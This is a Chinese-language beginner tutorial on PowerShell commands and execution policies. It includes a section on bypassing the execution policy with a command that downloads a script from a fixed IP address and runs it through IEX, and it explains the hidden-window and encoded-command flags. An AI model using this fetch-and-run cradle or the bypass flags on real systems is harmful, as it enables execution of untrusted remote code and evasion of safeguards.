powershell基础知识
基本命令
我们先从最基本的命令入手,Windows Powershell命令中get类命令是很庞大的一个命令工具集合,而且get类命令也是Powershell中占比最大的。
1、Get-Alias
Get-Alias命令的功能是查看当前运行会话的别名;
打开powershell,输入get-al,tab键补全,回车
我们也可以查询指定命令的别名,如:
Get-Alias -name dir
2、Get-ExecutionPolicy(查看当前执行策)
powershell中输入Get-ExecutionPolicy
可以看见当前的执行策是受限制的,所以是不能够执行psl脚本的
我们试着运行一下psl脚本
通过重定向先生成一个MyScript.ps1
'"Hello,Powershell Script"' > MyScript.ps1
然后运行
Powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于Powershell的执行策略。
只有管理员才有权限更改这个策略。非管理员会报错。
查看脚本执行策略,可以通过:
更改脚本执行策略,可以通过:
Set-ExecutionPolicy Unrestricted
脚本执行策略类型为:Microsoft.PowerShell.ExecutionPolicy
查看所有支持的执行策略:
[System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy])
Unrestricted:权限最高,可以不受限制执行任何脚本。
Default:为Powershell默认的策略:Restricted,不允许任何脚本执行。
AllSigned:所有脚本都必须经过签名才能在运行。
RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名。
Bypass:Bypass执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。
Undefined:Undefined表示没有设置脚本策略,当然此时发生会继承或应用默认的脚本策略。
当设置好执行策略后就可运行powershell脚本
如何绕过执行策略:
1.本地读取然后通过管道符运行
powershell Get-Content 1.ps1 | powershell -NoProfile -
2.远程下载并通过IEX运行脚本
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.129/ps/a.ps1')"
3.Bypass执行策略绕过
powershell -ExecutionPolicy bypass -File ./a.ps1
不会显示警告和提示
4.Unrestricted执行策略标志
powershell -ExecutionPolicy unrestricted -File ./a.ps1
当运行一个从网上下载的未签名的脚本时,会给出权限提示
需要解释的是:
Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题
3、&和IEX()
&:在字符串前加上&,可以把字符串当成命令执行在字符串前加上&,可以把字符串当成命令执行。
相同的命令还有IEX(Invoke-Expression),也是将字符串当作powershell执行
4、Get-FileHash(获取文件hash)
powershell定义函数方式:
function FuncName(args[])
{
code;
}
编辑器:
win10自带的ISE就挺不错,自动补全功能也很好。